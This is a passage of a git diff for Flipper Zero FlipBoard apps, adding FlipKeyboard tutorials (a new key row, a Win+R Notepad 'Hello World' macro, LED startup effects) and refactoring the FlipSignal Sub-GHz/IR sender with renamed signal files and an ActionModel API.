&I_mute_25x10}, + {.code = HID_KEYBOARD_MUTE, .ch = 0, .icon = &I_mute_25x10}, + {.code = HID_KEYBOARD_MUTE, .ch = 0, .icon = &I_mute_25x10}, + {.code = HID_KEYBOARD_VOLUME_DOWN, .ch = 0, .icon = &I_vol_down_25x10}, + {.code = HID_KEYBOARD_VOLUME_DOWN, .ch = 0, .icon = &I_vol_down_25x10}, + {.code = HID_KEYBOARD_VOLUME_DOWN, .ch = 0, .icon = &I_vol_down_25x10}, + {.code = HID_KEYBOARD_VOLUME_UP, .ch = 0, .icon = &I_vol_up_25x10}, + {.code = HID_KEYBOARD_VOLUME_UP, .ch = 0, .icon = &I_vol_up_25x10}, + {.code = HID_KEYBOARD_VOLUME_UP, .ch = 0, .icon = &I_vol_up_25x10}, + {.code = HID_KEYBOARD_LOCK_NUM_LOCK, .ch = 0, .icon = &I_num_lock_25x10}, + {.code = HID_KEYBOARD_LOCK_NUM_LOCK, .ch = 0, .icon = &I_num_lock_25x10}, + {.code = HID_KEYBOARD_LOCK_NUM_LOCK, .ch = 0, .icon = &I_num_lock_25x10}, +``` + +## Step 6: Add the new row in shift_keys[] (app_keyboard_layout.h) + +In `flipkeyboard\app_keyboard_layout.h` you need to add 12 entries for `shift_keys[]`. We are not actually adding any shifted buttons, so we will just use `{}`. + +Our new row goes immediately after the entry `{.code = HID_KEYBOARD_GRAVE_ACCENT | KEY_MOD_LEFT_SHIFT, .ch = '~', .icon = NULL},`. It is recommended to put a comment separator so it is easier to see where the new rows start. + +```c + // + {}, {}, {}, + {}, {}, {}, + {}, {}, {}, + {}, {}, {}, + // +``` + +## Step 7: Build the firmware & launch the app + + - Step 7a: Make sure the Flipper is connected and that nothing is using the serial port (close qFlipper, CLI windows, etc.) + - Step 7b: Open a build task window in Visual Studio Code by pressing `Ctrl+Shift+B`. + - Step 7c: Choose `[Debug] Launch App on Flipper` + +## Step 8: Your new button should display & choose the correct option when selected! + +![new-row-keystrokes-keyboard](./new-row-keystrokes-keyboard.png) + +NOTE: For testing, be sure to check that rows after you added still work, including the `shifted` rows. Click the `Sh` shift button, it should still make the rows show their shifted symbols (so '-' should show up as '_' and '=' should show up as '+'.) \ No newline at end of file diff --git a/applications/external/flipkeyboard/tutorials/advanced-data-entry.md b/applications/external/flipkeyboard/tutorials/advanced-data-entry.md new file mode 100644 index 00000000000..c67f6ea31d7 --- /dev/null +++ b/applications/external/flipkeyboard/tutorials/advanced-data-entry.md @@ -0,0 +1,58 @@ +# Tutorial: Advanced data entry + +## Overview + +In this example we will launch notepad (on Windows) and then type a message. Between the keystrokes, we will add some delays. We will make the application launched and message configurable, so we can quickly choose a different application or message. + +## Step 1: Open the FlipKeyboard app + +- On your Flipper Zero, open `Apps` folder. +- Choose `GPIO` app. +- Choose `Flipboard Keyboard` app. + +## Step 2: Configure the Action 1 + +- Choose `Config` from the main menu of the FlipKeyboard. +- Choose `Action 1 (button 1)` from the configuration menu. + +## Step 3: Windows + R to run an app, then delay + +- Choose `Add Keystroke` from the configuration menu. +- Choose `L-WIN` for the Keystroke. (You can click OK to select the key from the on-screen keyboard; it looks like the 4 square windows logo). +- Choose `Add Keystroke` from the configuration menu. +- Choose `r` for the Keystroke. (You can click OK to select the key from the on-screen keyboard). +- Choose `Add Keystroke` from the configuration menu. +- Choose `Delay` for the Keystroke. (This option is NOT in the on-screen keyboard). +- Change the `Count` to `12` (Each delay is 100ms, so this will be a 1.2 second delay). + +## Step 4: Type "notepad", press enter, then delay + +- Choose `Add Keystroke` from the configuration menu. +- Choose `Msg 1` for the Keystroke. (You can click OK to select the key from the on-screen keyboard). +- Scroll down to `Message 1` and click OK to edit the message. Enter the text `notepad` and choose `save` to save the message. + - NOTE: To clear a message you cannot delete all of the text. Instead, you must enter a space character. This is a limitation in the current keyboard widget module that is provided by Flipper. +- Choose `Add Keystroke` from the configuration menu. +- Choose `Enter` for the Keystroke. (You can click OK to select the key from the on-screen keyboard). +- Choose `Add Keystroke` from the configuration menu. +- Choose `Delay` for the Keystroke. (This option is NOT in the on-screen keyboard). +- Change the `Count` to `20` (Each delay is 100ms, so this will be a 2.0 second delay). + +## Step 5: Type "Hello World". + +- Choose `Add Keystroke` from the configuration menu. +- Choose `Msg 2` for the Keystroke. (You can click OK to select the key from the on-screen keyboard). +- Set the `Count` to `5` (This will type the message 5 times). +- Scroll down to `Message 2` and click OK to edit the message. Enter the text `Hello World!` and choose `save` to save the message. + +- NOTE: For more advanced messages, see the [Message tutorial](./message.md). + +## Step 6: Save the configuration + +- Press the `Back` button to return to the list of actions. +- Press the `Back` button to return to the main menu. + +## Step 7: Run the keyboard + +- Choose `Flipboard Keyboard` from the main menu. +- Make sure your Flipper Zero is connected to your PC using the USB cable. +- Press the Leftmost button on the FlipBoard to run the `Action 1` that you programmed. diff --git a/applications/external/flipkeyboard/tutorials/led-startup-sequence.md b/applications/external/flipkeyboard/tutorials/led-startup-sequence.md new file mode 100644 index 00000000000..c1d7af83159 --- /dev/null +++ b/applications/external/flipkeyboard/tutorials/led-startup-sequence.md @@ -0,0 +1,118 @@ +# Tutorial: LED startup sequence + +## Overview + +When the FlipKeyboard app starts, the LEDs blink in a specific startup sequence. This tutorial will show you how to customize the startup sequence. + +## Step 1: Find the startup sequence code + +Open the `flipkeyboard/app.c` file. Whenever the main application menu is displayed, the `CustomEventAppMenuEnter` custom event is triggered. The FlipKeyboard application registers the `custom_event_handler` function as the handler for custom events from the event dispatcher. The `custom_event_handler` will invoke the `loaded_app_menu(FlipboardModel* model)` function when the event matches `CustomEventAppMenuEnter`. + +Find the `loaded_app_menu(FlipboardModel* model)` code in the `flipboard/app.c` file. + +## Step 2: Understand the current startup sequence + +```c +static void loaded_app_menu(FlipboardModel* model) { + static bool initial_load = true; + FlipboardLeds* leds = flipboard_model_get_leds(model); + UNUSED(color_names); + UNUSED(color_values); + if(initial_load) { + for(int i = 0; i < 7; i++) { + flipboard_leds_set(leds, LedId1, (1 << (16 + i))); + flipboard_leds_set(leds, LedId2, (1 << (0 + i))); + flipboard_leds_set(leds, LedId3, (1 << (8 + i))); + flipboard_leds_set(leds, LedId4, (1 << (0 + i)) | (1 << (8 + i))); + flipboard_leds_update(leds); + furi_delay_ms(100); + } + for(int i = 7; i > 0; i--) { + flipboard_leds_set(leds, LedId1, (1 << (16 + i))); + flipboard_leds_set(leds, LedId2, (1 << (0 + i))); + flipboard_leds_set(leds, LedId3, (1 << (8 + i))); + flipboard_leds_set(leds, LedId4, (1 << (0 + i)) | (1 << (8 + i))); + flipboard_leds_update(leds); + furi_delay_ms(100); + } + initial_load = false; + } + + flipboard_leds_reset(leds); + flipboard_leds_update(leds); +} +``` + +- The `static bool initial_load = true;` line is a static variable that is used to track if the startup sequence has been run before. The startup sequence is only run once, when the application is first loaded. Once the sequence loads, we will set `initial_load` to `false` so that the sequence doesn't run again. + +- The `FlipboardLeds* leds = flipboard_model_get_leds(model);` line is used to get the LEDs from the FlipboardModel, so we can change the colors of the LEDs. + +- The `UNUSED(color_names);` and `UNUSED(color_values);` lines are used to suppress compiler warnings about unused variables. We don't use the color names or values in this routine, but they are part of the common code, so we need to state that the variables are unused. + +- The `if (initial_load) {...}` will run the code inside the curly braces if `initial_load` is `true`. This is the code that runs the startup sequence when we first show the menu! + + - The `for(int i = 0; i < 7; i++) {...}` line is a for loop that will run 7 times. The `i` variable will start at 0 and increment by 1 each time through the loop. The loop will run as long as `i` is less than 7. + - The `flipboard_leds_set(leds, LedId1, (1 << (16 + i)));` line will set the LED with ID `LedId1` to the color value `(1 << (16 + i))`. The color value is a 32-bit integer that represents the color of the LED in the lower 24-bits (the lowest 8-bits are blue, the next 8-bits are green, the next 8-bits are red). (1 << 16) is a `00000001b` in the red area. (1 << 17) is a `00000010b` in the red area. (1 << 18) is a `00000100b` in the red area. (1 << 19) is a `00001000b` in the red area. (1 << 20) is a `00010000b` in the red area. (1 << 21) is a `00100000b` in the red area. (1 << 22) is a `01000000b` in the red area. (1 << 23) is a `10000000b` in the red area. So this means the LED will be turned on brighter red each time throug the loop. + - The `flipboard_leds_set(leds, LedId2, (1 << (0 + i)));` line will set the LED with ID `LedId2` to the color value `(1 << (0 + i))`. The color value is a 32-bit integer that represents the color of the LED in the lower 24-bits (the lowest 8-bits are blue, the next 8-bits are green, the next 8-bits are red). (1 << 0) is a `00000001b` in the blue area. (1 << 1) is a `00000010b` in the blue area. (1 << 2) is a `00000100b` in the blue area. (1 << 3) is a `00001000b` in the blue area. (1 << 4) is a `00010000b` in the blue area. (1 << 5) is a `00100000b` in the blue area. (1 << 6) is a `01000000b` in the blue area. (1 << 7) is a `10000000b` in the blue area. So this means the LED will be turned on brighter blue each time throug the loop. + - The `flipboard_leds_set(leds, LedId3, (1 << (8 + i)));` line will set the LED with ID `LedId3` to the color value `(1 << (8 + i))`. The color value is a 32-bit integer that represents the color of the LED in the lower 24-bits (the lowest 8-bits are blue, the next 8-bits are green, the next 8-bits are red). (1 << 8) is a `00000001b` in the green area. (1 << 9) is a `00000010b` in the green area. (1 << 10) is a `00000100b` in the green area. (1 << 11) is a `00001000b` in the green area. (1 << 12) is a `00010000b` in the green area. (1 << 13) is a `00100000b` in the green area. (1 << 14) is a `01000000b` in the green area. (1 << 15) is a `10000000b` in the green area. So this means the LED will be turned on brighter green each time throug the loop. + - The `flipboard_leds_set(leds, LedId4, (1 << (0 + i)) | (1 << (8 + i)));` line will set the LED with ID `LedId4` to the color value `(1 << (0 + i)) | (1 << (8 + i))`. The color value is a 32-bit integer that represents the color of the LED in the lower 24-bits (the lowest 8-bits are blue, the next 8-bits are green, the next 8-bits are red). ((1 << 0) | (1 << 8)) will have a `00000001` in the blue and a `00000001` in the green area; resulting an a cyan color. So this means the LED will be turned on brighter cyan each time throug the loop. + - The `flipboard_leds_update(leds);` line will update the LEDs with the new colors. + - The `furi_delay_ms(100)` line will delay the code for 100 milliseconds. This will make the LEDs stay on for 100 milliseconds before the next time through the loop. + + - The `for(int i = 7; i > 0; i--) {...}` line is a for loop that will run 7 times. The `i` variable will start at 7 and decrement by 1 each time through the loop. The loop will run as long as `i` is greater than 0. + - The code inside the for loop is the same as the code inside the first for loop, but the `i` variable is decreasing instead of increasing. This means the LEDs will be more dim each time through the loop. + +- Finally we reset the LEDs to off and update the LEDs. If this isn't the first time we loaded the menu, then only this code runs (which turns off the LEDs). + +## Step 3: Replace the startup sequence with something different + +Replace the existing function with a new function that does something different inside of the `if (initial_load)` block. +In this example, we speed up the speed of the updates to 50ms, change the loop to 20, and change the colors to random colors. + +```c +static void loaded_app_menu(FlipboardModel* model) { + static bool initial_load = true; + FlipboardLeds* leds = flipboard_model_get_leds(model); + UNUSED(color_names); + UNUSED(color_values); + if(initial_load) { + for(int i = 0; i < 20; i++) { + flipboard_leds_set(leds, LedId1, rand() & 0x00FF0000); + flipboard_leds_set(leds, LedId2, rand() & 0x0000FF00); + flipboard_leds_set(leds, LedId3, rand() & 0x000000FF); + flipboard_leds_set(leds, LedId4, rand() & 0x00FFFFFF); + flipboard_leds_update(leds); + furi_delay_ms(50); + } + initial_load = false; + } + + flipboard_leds_reset(leds); + flipboard_leds_update(leds); +} +``` + +- rand() is a function that returns a random number. +- We use `& 0x00FF0000` to clear all the non-red colors (resulting in some random red color) +- We use `& 0x0000FF00` to clear all the non-green colors (resulting in some random green color) +- We use `& 0x000000FF` to clear all the non-blue colors (resulting in some random blue color) +- We use `& 0x00FFFFFF` to clear all the non-colors (resulting in some random color) + +- You can use `&`, `|`, `<<` and other operators to create your own effects. + +## Step 4: Build the firmware & launch the app + + - Step 4a: Make sure the Flipper is connected and that nothing is using the serial port (close qFlipper, CLI windows, etc.) + - Step 4b: Open a build task window in Visual Studio Code by pressing `Ctrl+Shift+B`. + - Step 4c: Choose `[Debug] Launch App on Flipper` + +## Step 5: Your new startup sequence should happen when the application first starts! + +- You can exit the application, and re-enter the application using `Apps` -> `GPIO` -> `Flipboard Keyboard` on your Flipper Zero to see the startup sequence again. +- For debugging, it may be faster to comment out the `initial_load = false;` line so that the startup sequence runs every time you enter the application menu (go to About page and click `Back` button to see animation again). + +## Step 6: Create your startup sequence and share it with us! + +- [Join Discord Server](https://discord.gg/H89Jzjty6m) + +- Share your startup sequence in the `#flipboard` channel. diff --git a/applications/external/flipkeyboard/tutorials/new-row-keystrokes-keyboard.png b/applications/external/flipkeyboard/tutorials/new-row-keystrokes-keyboard.png new file mode 100644 index 00000000000..1152ce8cd7d Binary files /dev/null and b/applications/external/flipkeyboard/tutorials/new-row-keystrokes-keyboard.png differ diff --git a/applications/external/flipkeyboard/tutorials/swap-keystroke-button.md b/applications/external/flipkeyboard/tutorials/swap-keystroke-button.md index 9138f312808..6e665743ff9 100644 --- a/applications/external/flipkeyboard/tutorials/swap-keystroke-button.md +++ b/applications/external/flipkeyboard/tutorials/swap-keystroke-button.md @@ -1,6 +1,6 @@ # Tutorial: Changing a keystroke button -![message-keyboard](./keystrokes-keyboard.png) +![keystrokes-keyboard](./keystrokes-keyboard.png) ## Overview @@ -32,7 +32,11 @@ Open `flipkeyboard\app_keyboard_layout.h` and scroll down until you find the key ## Step 5: Replace the button with the new button -If you don't know the HID name, place your cursor after HID_KEYBOARD_ and press `Ctrl+Space` to see a list of all of the HID names. In this case, we want to replace the `HID_KEYBOARD_POWER` with `HID_KEYBOARD_PRINT_SCREEN`. We also want to replace the `I_power_25x10` with `I_prtsc_25x10`. The final code should look like the following... +If you don't know the HID name, place your cursor after HID_KEYBOARD_ and press `Ctrl+Space` to see a list of all of the HID names. In this case, we want to replace the `HID_KEYBOARD_POWER` with `HID_KEYBOARD_PRINT_SCREEN`. The new value you choose must be listed in the `keystroke_values[]` array in the `flipkeyboard\common\config_keystroke.h` file. The `config_keystroke.h` file contains the list of all of the keystrokes that are displayed using the `VariableItemList` when the selecting with the left/right arrow keys. The `VariableItemList` module from `#include ` has a limit of around 255 items (which are all being used) so if you want to add a new value in `keystroke_values[]` you also need to remove a value. Be sure that `keystroke_names[]` lists the items in the same order as `keystroke_values[]`. + +We also want to replace the icon `I_power_25x10` with `I_prtsc_25x10`. + +The final code should look like the following... ```c {.code = HID_KEYBOARD_PRINT_SCREEN, .ch = 0, .icon = &I_prtsc_25x10}, @@ -50,4 +54,4 @@ NOTE: If you want to use a character instead of an icon, set the **.icon** to `N ## Step 7: Your new button should display & choose the correct option when selected! -![message-keyboard](./prtsc-keystrokes-keyboard.png) +![prtsc-keystrokes-keyboard](./prtsc-keystrokes-keyboard.png) diff --git a/applications/external/flipsignal/README.md b/applications/external/flipsignal/README.md index 0a7cea4b432..04a29b9fdf8 100644 --- a/applications/external/flipsignal/README.md +++ b/applications/external/flipsignal/README.md @@ -9,9 +9,14 @@ Currently the application sends a sub-ghz signal (RAW or Protocol), and then it ## Installation You need to copy your Sub-GHz files into your `SD Card/subghz` folder. -You need to copy your `flipboard.ir` file into your `SD Card/infrared` folder. The `name:` field should be `Flip-a1`, `Flip-a2`, `Flip-a3` & `Flip-a4` for the 4 actions. The actions are case-sensitive; so they must start with a capital F and then lowercase the remaining letters. If the file is not created or no matching name exists, then a fallback file of `SD Card/infrared/assets/tv.ir` will be used along with default names (Power, Mute, Ch_prev and Ch_next). +You need to copy your `flipboard.ir` file into your `SD Card/infrared` folder. The `name:` field should be `Flip1`, `Flip2`, `Flip4` & `Flip8` for the 4 actions!!! The actions are case-sensitive; so they must start with a capital F and then lowercase the remaining letters. If the file is not created or no matching name exists, then a fallback file of `SD Card/infrared/assets/tv.ir` will be used along with default names (Power, Mute, Ch_prev and Ch_next). -- Action 1 will run `Flip-a1.sub` and then send IR signal `Flip-a1`. If IR signal does not exist, it will send IR TV signal "Power". -- Action 2 will run `Flip-a2.sub` and then send IR signal `Flip-a2`. If IR signal does not exist, it will send IR TV signal "Mute". -- Action 3 will run `Flip-a3.sub` and then send IR signal `Flip-a3`. If IR signal does not exist, it will send IR TV signal "Ch_prev". -- Action 4 will run `Flip-a4.sub` and then send IR signal `Flip-a4`. If IR signal does not exist, it will send IR TV signal "Ch_next". \ No newline at end of file +- Action 1 will run `Flip1.sub` and then send IR signal `Flip1`. If IR signal does not exist, it will send IR TV signal "Power". +- Action 2 will run `Flip2.sub` and then send IR signal `Flip2`. If IR signal does not exist, it will send IR TV signal "Mute". +- Action 4 will run `Flip4.sub` and then send IR signal `Flip4`. If IR signal does not exist, it will send IR TV signal "Ch_prev". +- Action 8 will run `Flip8.sub` and then send IR signal `Flip8`. If IR signal does not exist, it will send IR TV signal "Ch_next". + +## Updates +- V3.1 : Fix bug with second button not working. +- V3.0 : Renamed files AGAIN. :( `Flip1.sub`, `Flip2.sub`, `Flip4.sub`, `Flip8.sub` and the IR entries to `Flip1`, `Flip2`, `Flip4`, `Flip8`. +- V2.0 (was called v1.1): Flipper keyboard doesn't have a dash, so renamed the files to `Flip1.sub`, `Flip2.sub`, `Flip3.sub`, `Flip4.sub` and the IR entries to `Flip1`, `Flip2`, `Flip3`, `Flip4`. \ No newline at end of file diff --git a/applications/external/flipsignal/app.c b/applications/external/flipsignal/app.c index f2a55a6ac72..eccd0bda98e 100644 --- a/applications/external/flipsignal/app.c +++ b/applications/external/flipsignal/app.c @@ -29,10 +29,10 @@ static void flipboard_view_flip_signal_draw(Canvas* canvas, void* model) { action = button_monitor_get_last_status(bm); } - const Icon* icon1 = (action & 1) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; - const Icon* icon2 = (action & 2) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; - const Icon* icon3 = (action & 4) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; - const Icon* icon4 = (action & 8) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; + const Icon* icon1 = (action & (1 | 0 | 0 | 0)) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; + const Icon* icon2 = (action & (0 | 2 | 0 | 0)) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; + const Icon* icon3 = (action & (0 | 0 | 4 | 0)) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; + const Icon* icon4 = (action & (0 | 0 | 0 | 8)) ? &I_fb_Down_hvr_25x27 : &I_fb_Up_25x27; furi_string_printf(action_text, "%02d", action); canvas_set_bitmap_mode(canvas, 1); @@ -95,19 +95,19 @@ static bool send_ir(FlipboardModel* model, char* filename, char* action_name) { /** * @brief This method transmits a signal associated with the button. * @param model The FlipboardModel* context. - * @param bm The ButtonModel* context. + * @param action_model The ActionModel* context. */ static ViewDispatcher* view_dispatcher = NULL; -static void flipboard_model_send_signal(FlipboardModel* model, ButtonModel* bm) { +static void flipboard_model_send_signal(FlipboardModel* model, ActionModel* action_model) { UNUSED(model); - if(bm == NULL) { + if(action_model == NULL) { // Key up event. return; } - uint8_t btn = button_model_get_button_id(bm); + uint8_t action = action_model_get_action_id(action_model); - view_dispatcher_send_custom_event(view_dispatcher, CustomEventButtonPress + btn); + view_dispatcher_send_custom_event(view_dispatcher, CustomEventFlipboardButtonPress + action); } /** @@ -126,10 +126,10 @@ static void flipboard_debounced_switch(void* context, uint8_t old_button, uint8_ flipboard_model_update_gui(model); - ButtonModel* bm = flipboard_model_get_button_model(model, reduced_new_button); - flipboard_model_set_colors(model, bm, new_button); - flipboard_model_play_tone(model, bm); - flipboard_model_send_signal(model, bm); + ActionModel* action_model = flipboard_model_get_action_model(model, reduced_new_button); + flipboard_model_set_colors(model, action_model, new_button); + flipboard_model_play_tone(model, action_model); + flipboard_model_send_signal(model, action_model); } /** @@ -181,8 +181,6 @@ static View* get_primary_view(void* context) { static void loaded_app_menu(FlipboardModel* model) { static bool initial_load = true; FlipboardLeds* leds = flipboard_model_get_leds(model); - UNUSED(color_names); - UNUSED(color_values); if(initial_load) { flipboard_leds_reset(leds); flipboard_leds_set(leds, LedId1, LedColorRed); @@ -230,24 +228,24 @@ static bool custom_event_handler(void* context, uint32_t event) { if(event == CustomEventAppMenuEnter) { loaded_app_menu(model); - } else if(event == CustomEventButtonPress + 1) { - send_subghz(model, "/ext/subghz/flip-a1.sub"); - if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip-a1")) { + } else if(event == CustomEventFlipboardButtonPress + (1 | 0 | 0 | 0)) { + send_subghz(model, "/ext/subghz/flip1.sub"); + if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip1")) { send_ir(model, "/ext/infrared/assets/tv.ir", "Power"); } - } else if(event == CustomEventButtonPress + 2) { - send_subghz(model, "/ext/subghz/flip-a2.sub"); - if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip-a2")) { + } else if(event == CustomEventFlipboardButtonPress + (0 | 2 | 0 | 0)) { + send_subghz(model, "/ext/subghz/flip2.sub"); + if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip2")) { send_ir(model, "/ext/infrared/assets/tv.ir", "Mute"); } - } else if(event == CustomEventButtonPress + 4) { - send_subghz(model, "/ext/subghz/flip-a3.sub"); - if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip-a3")) { + } else if(event == CustomEventFlipboardButtonPress + (0 | 0 | 4 | 0)) { + send_subghz(model, "/ext/subghz/flip4.sub"); + if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip4")) { send_ir(model, "/ext/infrared/assets/tv.ir", "Ch_prev"); } - } else if(event == CustomEventButtonPress + 8) { - send_subghz(model, "/ext/subghz/flip-a4.sub"); - if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip-a4")) { + } else if(event == CustomEventFlipboardButtonPress + (0 | 0 | 0 | 8)) { + send_subghz(model, "/ext/subghz/flip8.sub"); + if(!send_ir(model, "/ext/infrared/flipboard.ir", "Flip8")) { send_ir(model, "/ext/infrared/assets/tv.ir", "Ch_next"); } } @@ -263,8 +261,8 @@ static bool custom_event_handler(void* context, uint32_t event) { int32_t flipboard_signal_app(void* p) { UNUSED(p); - ButtonModelFields fields = ButtonModelFieldColorDown | ButtonModelFieldColorUp | - ButtonModelFieldFrequency; + ActionModelFields fields = ActionModelFieldColorDown | ActionModelFieldColorUp | + ActionModelFieldFrequency; bool single_mode_button = true; bool attach_keyboard = false; diff --git a/applications/external/flipsignal/app.h b/applications/external/flipsignal/app.h index 0d64502e770..68bff60e848 100644 --- a/applications/external/flipsignal/app.h +++ b/applications/external/flipsignal/app.h @@ -10,10 +10,10 @@ #include #include "flipboard_signal_icons.h" +#include "./common/action_config.h" +#include "./common/action_model.h" #include "./common/app_menu.h" #include "./common/backlight.h" -#include "./common/button_config.h" -#include "./common/button_model.h" #include "./common/button_monitor.h" #include "./common/config_colors.h" #include "./common/custom_event.h" diff --git a/applications/external/flipsignal/app_config.h b/applications/external/flipsignal/app_config.h index d1859a8fdfc..48373ffa2f5 100644 --- a/applications/external/flipsignal/app_config.h +++ b/applications/external/flipsignal/app_config.h @@ -8,23 +8,27 @@ #define FIRMWARE_SUPPORTS_SUBGHZ 1 #define APP_USES_SUBGHZ_PROTOCOL_ITEMS 1 -#define ABOUT_TEXT \ - "Welcome to the Flipboard\n" \ - "Signal! Quickly send to\n" \ - "and device!\n\n" \ - "Be sure to put your .SUB\n" \ - "files in 'SD Card/subghz'\n" \ - "action 1: flip-a1.sub\n" \ - "action 2: flip-a2.sub\n" \ - "action 3: flip-a3.sub\n" \ - "action 4: flip-a4.sub\n" \ - "\n" \ - "Optimized for FlipBoard\n" \ - "v1.1 hardware --\n" \ - "see link below to order!\n" \ - "Created by @MakeItHackin\n" \ - "and @CodeAllNight!\n" \ - "https://discord.com/invite/NsjCvqwPAd\n" \ - "https://youtube.com/@MrDerekJamison\n" \ - "https://tindie.com/stores/MakeItHackin\n" \ +#define ABOUT_TEXT \ + "Welcome to the Flipboard\n" \ + "Signal v3.1!\n" \ + "Quickly send to any device!\n\n" \ + "Be sure to put your .SUB\n" \ + "files in 'SD Card/subghz'\n" \ + "action 1: Flip1.sub\n" \ + "action 2: Flip2.sub\n" \ + "action 4: Flip4.sub\n" \ + "action 8: Flip8.sub\n v\n" \ + "Name IR file Flipboard.ir\n" \ + "action 1: Flip1\n" \ + "action 2: Flip2\n" \ + "action 4: Flip4\n" \ + "action 8: Flip8\n v\n" \ + "Optimized for FlipBoard\n" \ + "hardware --\n" \ + "see link below to order!\n" \ + "Created by @MakeItHackin\n" \ + "and @CodeAllNight!\n" \ + "https://discord.com/invite/NsjCvqwPAd\n" \ + "https://youtube.com/@MrDerekJamison\n" \ + "https://tindie.com/stores/MakeItHackin\n" \ "https://x.com/MakeItHackin" diff --git a/applications/external/flipsignal/application.fam b/applications/external/flipsignal/application.fam index c513b91ebc2..83465301c6b 100644 --- a/applications/external/flipsignal/application.fam +++ b/applications/external/flipsignal/application.fam @@ -12,6 +12,6 @@ App( fap_icon_assets="assets", fap_author="jamisonderek", fap_weburl="https://github.com/jamisonderek/flipboard", - fap_version=(1, 0), + fap_version=(3, 1), fap_description="FlipBoard Signal turns your FlipBoard into a signal sender.", ) diff --git a/applications/external/flipsignal/common/README.md b/applications/external/flipsignal/common/README.md index 6597e3dbf53..7dac286e747 100644 --- a/applications/external/flipsignal/common/README.md +++ b/applications/external/flipsignal/common/README.md @@ -4,23 +4,23 @@ This repository contains common code used by Flipboard projects. Please let us File names are prefixed with the component name, e.g. `app_menu_i.h` is the private header for the `app_menu` component, while `app_menu.h` is the public header. -## app_menu +## action_config -The AppMenu module is used to create and show the main application menu. +The ActionConfig module is used to configure the actions (what happens when a the buttons are pressed) on the flipboard. -## backlight +## action_model -The Backlight module is responsible for controlling the backlight. You can turn the backlight on, off, or force it off. +This ActionModel type is used to store the settings for a action. For example the color, frequency, message, and keystrokes to use when an action occurs (like pressing button 2+4). -## button_config +- _TODO: Should this allow for extra data to be stored with the action?_ -The ButtonConfig module is used to configure the buttons on the flipboard. +## app_menu -## button_model +The AppMenu module is used to create and show the main application menu. -This ButtonModel type is used to store the settings for a button. For example the color, frequency, message, and keystrokes to use when a button is pressed. +## backlight -- _TODO: Should this allow for extra data to be stored with the button?_ +The Backlight module is responsible for controlling the backlight. You can turn the backlight on or off. ## button_monitor @@ -38,6 +38,10 @@ config_keystroke.h contains the configuration of the keystrokes. You can add ne config_tones.h contains the configuration of the tones. The tones are a set of frequencies that can be played on the buzzer. The tones (in Hz) are defined in the tone_values array. The index of the tone in this array is the same as the index of the tone in the tone_names array. +## custom_event + +custom_event.h contains the enumeration of custom events that can be sent. + ## flipboard Typically you will create a Flipboard application in your main function like this: @@ -61,6 +65,10 @@ The FlipboardModel contains all the data needed for the flipboard application. FlipboardModelRef is a reference to a FlipboardModel, used to pass a FlipboardModel to UI components that cant take a pointer to an existing FlipboardModel. +## infrared_signal + +The InfraredSignal module is used to send IR signals using the IR LED on the Flipper. + ## keyboard A Keyboard module is used to send key codes to the host using the USB cable connected to the Flipper Zero. @@ -69,6 +77,10 @@ A Keyboard module is used to send key codes to the host using the USB cable conn The KeystrokeSelector module is used to select a keystroke. The view will display a grid of keys. The user can scroll through the keys using the dpad buttons. The user can select a key by pressing the OK button. The view will call a callback when a key is selected. +## led_driver + +The LedDriver module is used to control the addressable LEDs on the flipboard using the timer API. This API is used by the leds module. + ## leds The Leds module is used to control the addressable LEDs on the flipboard, and also the status LED. @@ -79,4 +91,8 @@ The MenuCallback module is used to return a specific view id from ViewNavigation ## speaker -The Speaker module is used to play tones on the internal Flipper Zero speaker. \ No newline at end of file +The Speaker module is used to play tones on the internal Flipper Zero speaker. + +## subshz_signal + +The SubghzSignal module is used to send subghz signals using the subghz radio on the Flipper Zero. \ No newline at end of file diff --git a/applications/external/flipsignal/common/action_config.c b/applications/external/flipsignal/common/action_config.c new file mode 100644 index 00000000000..a6c5d58c278 --- /dev/null +++ b/applications/external/flipsignal/common/action_config.c @@ -0,0 +1,712 @@ +#include "action_config_i.h" + +/** + * @brief color_up_changed is called when the color up setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_up_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_up(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief color_down_changed is called when the color down setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_down_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_down(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief tone_changed is called when the tone setting is changed. + * @param item The VariableItem that was changed. + */ +static void tone_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_frequency(action_model, tone_values[index]); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief Returns keystroke index for the selected keystroke. + * @details maps a menu item index into to keystroke index. Determining the + * index relies on the fact that the menu items are added in the order of + * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. + * @param action_model The ActionModel. + * @return The keystroke index +*/ +static uint8_t keystroke_item_index(ActionModel* action_model) { + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t add_item_index = action_model_get_keystroke_index(action_model); + uint8_t count = action_model_get_keystrokes_count(action_model); + uint8_t offset = add_item_index - (count * 2); + uint8_t selected_item_index = + variable_item_list_get_selected_item_index(action_config->item_list); + uint8_t item_index = (selected_item_index - offset) / 2; + FURI_LOG_D(TAG, "item_index=%d", item_index); + return item_index; +} + +/** + * @brief keystroke_changed is called when the keystroke setting is changed. + * @details keystroke_changed is called when the keystroke setting is changed using + * the left/right buttons. It updates the ActionModel with the new keystroke. + * @param item The VariableItem that was changed. + */ +static void keystroke_changed(VariableItem* item) { + 